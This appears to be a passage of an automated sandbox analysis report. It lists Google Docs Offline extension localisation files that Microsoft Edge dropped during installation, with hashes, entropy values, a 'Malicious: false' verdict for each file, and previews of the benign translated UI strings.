SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
